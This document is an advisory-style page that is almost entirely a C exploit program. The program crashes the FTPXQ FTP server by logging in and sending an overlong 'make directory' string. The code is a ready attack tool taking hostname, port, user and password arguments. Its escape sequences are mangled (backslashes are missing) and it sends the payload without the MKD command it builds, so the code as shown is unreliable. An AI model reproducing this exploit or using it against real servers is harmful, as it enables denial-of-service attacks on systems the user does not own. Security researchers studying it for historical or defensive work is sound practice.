FTPXQ Denial of service exploit

Advisory Content :

/*
* 0xf_ftpxq.c - FTPXQ Denial of service exploit.
* Federico Fazzi <federico at autistici.org>
*
* advisory by Eric Sesterhenn.
* -- Server built using the WinsockQ from DataWizard Technologies. A
security
* -- vulnerability in the product allows remote attackers to overflow an
* -- internal buffer by providing an overly long "make directory" request.
*
* r20061025.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

// AAAAAAAAAAAAAAAA..AA*255 in hex format.
char bof[] = "x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41";

int main(int argc, char **argv) {
int sd;
socklen_t len;
struct sockaddr_in saddr;
struct hostent *he;
char buf[512], tmpbuf[128];

if(argc != 5) {
printf("FTPXQ Server - Denial of service exploit.n"
"Federico Fazzi <federico at autistici.org>nn"
"usage: %s <hostname> <port> <user> <password>n", argv[0]);
exit(1);
}

if((he = gethostbyname(argv[1])) == NULL) {
perror("gethostbyname()");
exit(1);
}

// init socket
if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket()");
exit(1);
}

// setup struct
bzero((char *) &saddr, sizeof(saddr));
saddr.sin_family = AF_INET;
bcopy((char *)he->h_addr, (char *)&saddr.sin_addr.s_addr,
he->h_length);
saddr.sin_port = htons(atoi(argv[2]));

len = sizeof(struct sockaddr);
// init connection
if(connect(sd, (struct sockaddr *)&saddr, len) == -1) {
perror("connect()");
exit(1);
}
printf("FTPXQ Server - Denial of service exploit.n"
"Federico Fazzi <federico at autistici.org>n"
"---------------------------------------n");
puts("connecting..tt done");

// sending a USER data to daemon
sprintf(buf, "USER %srn", argv[3]);
write(sd, buf, strlen(buf));
puts("sending USER data..t done");

// sending a PASS data to daemon
sprintf(buf, "PASS %srn", argv[4]);
write(sd, buf, strlen(buf));
puts("sending PASS data..t done");

// sending a BOF string with MKD command to host
sprintf(buf, "MKD %s", bof);
write(sd, bof, strlen(bof));
puts("sending MKD bof string.. done");

// now checking if server i down
if(read(sd, tmpbuf, sizeof(tmpbuf)) > 0)
puts("[!] server doesn't vulnerable");
else
puts("[+] server getting down.. done");
close(sd);

return(0);
}

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